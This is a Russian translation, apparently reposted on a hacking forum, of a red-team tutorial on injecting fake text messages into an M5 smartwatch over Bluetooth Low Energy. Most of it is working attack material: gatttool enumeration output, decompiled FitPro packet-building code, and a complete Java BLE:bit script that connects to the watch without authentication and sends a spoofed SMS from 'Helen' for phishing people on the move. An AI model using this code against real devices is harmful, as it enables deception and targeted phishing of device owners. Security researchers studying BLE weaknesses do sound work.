ОРИГИНАЛЬНАЯ СТАТЬЯ
ПЕРЕВЕДЕНО СПЕЦИАЛЬНО ДЛЯ xss.pro
$600 на SSD для Jolah Milovski ---> 0x5B1f2Ac9cF5616D9d7F1819d1519912e85eb5C09 для поднятия ноды ETHEREUM и тестов
Работа в RedTeam — интересное занятие и иногда вам нужно проявить творческий подход.
Цели, возможно, были ранее подвергнуты фишингу стандартными способами, и вам, придется мыслить нестандартно.
В этой статье мы объясним, как взломать SmartWatch и показать собственное текстовое сообщение.
Я не буду слишком углубляться в технологию Bluetooth Low Energy, но вы можете обратиться к нашей предыдущей статье для изучения основ.
Цель — SmartWatch M5, но процедура практически одинакова для всех SmartWatch.
Современные SmartWatch поддерживают отображение сообщений смартфона. Большинство SmartWatch поддерживают несколько типов текста, среди которых WhatsApp, Facebook или SMS-сообщения. Имя или номер телефона отправителя отображаются вместе с их сообщением.
Цель этой задачи — найти способ связаться со SmartWatch и передать ему правильную информацию для отображения мошеннического текстового сообщения. Я считаю, что такие фишинговые атаки работают лучше, когда пользователь находится в движении. Когда цель находится в движении, она даже не смотрит на смартфон, чтобы подтвердить происхождение сообщения. Пользователи доверяют информации, отображаемой на их SmartWatch, думая, что она исходит от SmartWatch. Большинство SmartWatch небезопасны и позволяют злоумышленникам подключаться к SmartWatch и делать что угодно. То, как можно использовать эту атаку, может показаться ограниченным, но на самом деле она очень эффективна, если ее использовать правильно.
Обратный инжиниринг приложения
К сожалению для нас, каждые часы работает по-своему. Каждый поставщик реализует свою собственную логику и собственный протокол; таким образом, для каждой марки/модели нам нужно сначала провести некоторое исследование. Установим gatttool на Linux и сгенерируем ключ BLE.
Код:
gatttool -t public -b ff:ff:df:10:8d:f9 -I
Код:
[ff:ff:df:10:8d:f9][LE]> characteristics
handle: 0x0002, char properties: 0x12, char value handle: 0x0003, uuid: 00002a00-0000-1000-8000-00805f9b34fb
handle: 0x0004, char properties: 0x02, char value handle: 0x0005, uuid: 00002a01-0000-1000-8000-00805f9b34fb
handle: 0x0006, char properties: 0x02, char value handle: 0x0007, uuid: 00002a04-0000-1000-8000-00805f9b34fb
handle: 0x0009, char properties: 0x20, char value handle: 0x000a, uuid: 00002a05-0000-1000-8000-00805f9b34fb
handle: 0x000d, char properties: 0x02, char value handle: 0x000e, uuid: 00002a50-0000-1000-8000-00805f9b34fb
handle: 0x000f, char properties: 0x02, char value handle: 0x0010, uuid: 00002a26-0000-1000-8000-00805f9b34fb
handle: 0x0011, char properties: 0x02, char value handle: 0x0012, uuid: 00002a28-0000-1000-8000-00805f9b34fb
handle: 0x0015, char properties: 0x06, char value handle: 0x0016, uuid: 00002a4e-0000-1000-8000-00805f9b34fb
handle: 0x0017, char properties: 0x12, char value handle: 0x0018, uuid: 00002a22-0000-1000-8000-00805f9b34fb
handle: 0x001a, char properties: 0x0e, char value handle: 0x001b, uuid: 00002a32-0000-1000-8000-00805f9b34fb
handle: 0x001c, char properties: 0x12, char value handle: 0x001d, uuid: 00002a4d-0000-1000-8000-00805f9b34fb
handle: 0x0020, char properties: 0x12, char value handle: 0x0021, uuid: 00002a4d-0000-1000-8000-00805f9b34fb
handle: 0x0024, char properties: 0x0e, char value handle: 0x0025, uuid: 00002a4d-0000-1000-8000-00805f9b34fb
handle: 0x0027, char properties: 0x02, char value handle: 0x0028, uuid: 00002a4b-0000-1000-8000-00805f9b34fb
handle: 0x002a, char properties: 0x02, char value handle: 0x002b, uuid: 00002a4a-0000-1000-8000-00805f9b34fb
handle: 0x002c, char properties: 0x04, char value handle: 0x002d, uuid: 00002a4c-0000-1000-8000-00805f9b34fb
handle: 0x002f, char properties: 0x10, char value handle: 0x0030, uuid: 6e400003-b5a3-f393-e0a9-e50e24dcca9d
handle: 0x0032, char properties: 0x0c, char value handle: 0x0033, uuid: 6e400002-b5a3-f393-e0a9-e50e24dcca9d
handle: 0x0035, char properties: 0x12, char value handle: 0x0036, uuid: 00002a19-0000-1000-8000-00805f9b34fb
handle: 0x0039, char properties: 0x06, char value handle: 0x003a, uuid: 00010203-0405-0607-0809-0a0b0c0d2b12
Декомпилируем мобильное приложение SmartWatche, чтобы понять как работает протокол BLE. Для этого мы используем Jadx, который является отличным декомпилятором и поддерживает файлы APK по умолчанию
Приложение называется FitPro и вот так оно выглядит:
Немного покапавшись в коде находим обработчик уведомлений, отвечающий за получение SMS-сообщений от Android и их передачу SmartWatch. Класс обработчика называется «NotifyService», и с помощью вызова методов некоторых других классов он может создать сообщение BLE и переслать его на устройство. Вот структура пакета:
Телефон /источник/ является источником сообщения и представляет собой строку. Это может быть что угодно на самом деле.
Затем следует двоеточие, а затем само сообщение.
Заголовок пакета составляет всего 3 байта и определяет тип сообщения.
Вот как определяется тип, показанный из декомпилированного кода:
Код:
str3 = SaveKeyValues.getStringValues("SMSState", str3);
obj = new byte[]{(byte) 1, (byte) 0, (byte) 0};
break;
... SNIP ...
case 11:
str3 = SaveKeyValues.getStringValues("FaceBookState", str3);
obj = new byte[]{(byte) 4, (byte) 0, (byte) 0};
break;
case 12:
str3 = SaveKeyValues.getStringValues("linkdedInState", str3);
obj = new byte[]{(byte) 17, (byte) 0, (byte) 0};
break;
case 13:
str3 = SaveKeyValues.getStringValues("KakaoTalkState", str3);
obj = new byte[]{(byte) 9, (byte) 0, (byte) 0};
break;
default:
Поэтому для SMS-сообщений используются байты {1,0,0}.
Заголовок протокола определяется двумя переменными числами, которые фактически основаны на длине данных. Таким образом, длина сообщения включена.
Вот как устроен заголовок протокола (не заморачивайтесь):
Код:
Integer valueOf = Integer.valueOf(getLength().intValue() + bArr.length);
Object obj = new byte[valueOf.intValue()];
obj[0] = (byte) -51;
Object intToBytes = ByteUtil.intToBytes(valueOf.intValue() - 3);
System.arraycopy(intToBytes, 2, obj, 1, intToBytes.length - 2);
obj[3] = b;
obj[4] = 1;
obj[5] = b2;
Object intToBytes2 = ByteUtil.intToBytes(bArr.length);
System.arraycopy(intToBytes2, 2, obj, 6, intToBytes2.length - 2);
System.arraycopy(bArr, 0, obj, 8, bArr.length);
return obj;
}
Класс NotifyService ведет также к UUID характеристики (6e400002-b5a3-f393-e0a9-e50e24dcca9d) и, следовательно, к дескриптору ее значения (0x33).
Теперь у нас есть полное представление о том, как отправлять данные на SmartWatch. Теперь мы создадим код для отправки данных на устройство. Выберем Java, так как мы используем часть декомпилированного кода для создания пакета.
Переделаем пакет
Давайте создадим сообщение и заголовок сообщения:
Код:
msg) {
ByteBuffer buffer = ByteBuffer.allocate(3 + msg.length() + 1 + phone.length());
buffer.put(new byte[]{1,0,0});
buffer.put(phone.getBytes());
buffer.put((byte) 58); // colon
buffer.put(msg.getBytes());
return buffer.array();
}
Переносим функцию getProtocol из декомпилированного кода, а затем переименовываем некоторые переменные для ясности, а также меняем некоторые функции, чтобы они соответствовали API Java:
Код:
Integer intBarrAndIntLen = Integer.valueOf(getLength().intValue() + bArr.length);
byte[] payload = new byte[intBarrAndIntLen.intValue()];
payload[0] = (byte) -51;
byte[] byteOfIntBarrALenMinus3 = ByteBuffer.allocate(8).putInt(intBarrAndIntLen.intValue() - 3).array();
System.arraycopy(byteOfIntBarrALenMinus3, 2, payload, 1, byteOfIntBarrALenMinus3.length - 2);
payload[3] = b;
payload[4] = 1;
payload[5] = b2;
byte[] intToBytes2 = ByteBuffer.allocate(4).putInt(bArr.length).array();
System.arraycopy(intToBytes2, 2, payload, 6, intToBytes2.length - 2);
System.arraycopy(bArr, 0, payload, 8, bArr.length);
return payload;
}
Вход задается следующим методом:
Код:
public static byte[] getSendPushRemindValue(int i, byte[] bArr) {
return getProtocol((byte) 18, i == 1 ? (byte) 18 : (byte) 17, bArr);
}
Используем метод getProtocol:
Код:
byte[] data = getProtocol((byte)18, (byte)18, constructMessage("Helen", "I need help. 2nd floor"));
Поскольку MTU BLE по умолчанию позволяет отправлять 20 байтов, сообщение пользовательского протокола делится на две части, и поэтому для передачи пользовательского PDU из приложения в SmartWatch используются два пакета BLE.
у нас есть вся необходимая информация для создания корректного сообщения. Итак, давайте подключимся и отправим его на SmartWatch. Для этого мы используем инструмент BLE:bit (blebit.io), но на самом деле можно использовать любой другой инструмент.
Код:
Short chr_handler = 0x33;
// Create a controller object
CEController ce = BLEHelper.getCentralController(new CEBLEDeviceCallbackHandler());
if (ce == null) {
System.err.println("BLE:bit CE tool not found");
}
// Initialize the BLE tool
ce.sendConnectionParameters(new CEConnectionParameters());
ce.sendBluetoothDeviceAddress("ff:55:ee:fe:4a:af", ConnectionTypesCommon.BITAddressType.STATIC_PRIVATE);
ce.configurePairing(ConnectionTypesCommon.PairingMethods.NO_IO, null);
ce.finishSetup();
System.out.println("Searching for the target");
// Connect to the target
ce.connectNow("ff:ff:df:10:8d:f9", ConnectionTypesCommon.AddressType.PUBLIC_ADDR);
System.out.println("Connected");
// Send data to the device
byte[] data = getProtocol((byte)18, (byte)18, constructMessage("Helen", "I need help. 2nd floor"));
if (data.length <= 20) {
sendData(ce, data, chr_handle);
}else {
byte[] first_packet = Arrays.copyOfRange(data, 0, 20);
byte[] second_packet = Arrays.copyOfRange(data, 20, data.length);
sendData(ce, first_packet, chr_handle);
sendData(ce, second_packet, chr_handle);
}
// Disconnect and terminate the session
ce.disconnect(19);
ce.terminate();
System.out.println("Terminated");
Оказывается как же просто создать сообщение с именем отправителя «Хелен» и телом сообщения «Мне нужна помощь. 2-ой этаж"
Взлом SmartWatch — это вершина айсберга. Есть буквально сотни небезопасных устройств, которые так или иначе могут помочь с целевым фишингом. Однако при взломе BLE есть более интересные вещи, чем фишинг. Насколько вы знакомы с реверсированием приложений BLE или пониманием протокола BLE? Насколько хорошо вы выполняете тест BLE Pen Test?
Хотите отправить вам больше статей и показать, как много еще можно сделать?
При подписке ниже отправляется последующее электронное письмо с исходным кодом и инструментом jar, используемым для отправки сообщений на умные часы.
Кроме того, подписавшись, вы получаете бесплатные приглашения на вебинары BLE Pen Testing и другие интересные статьи.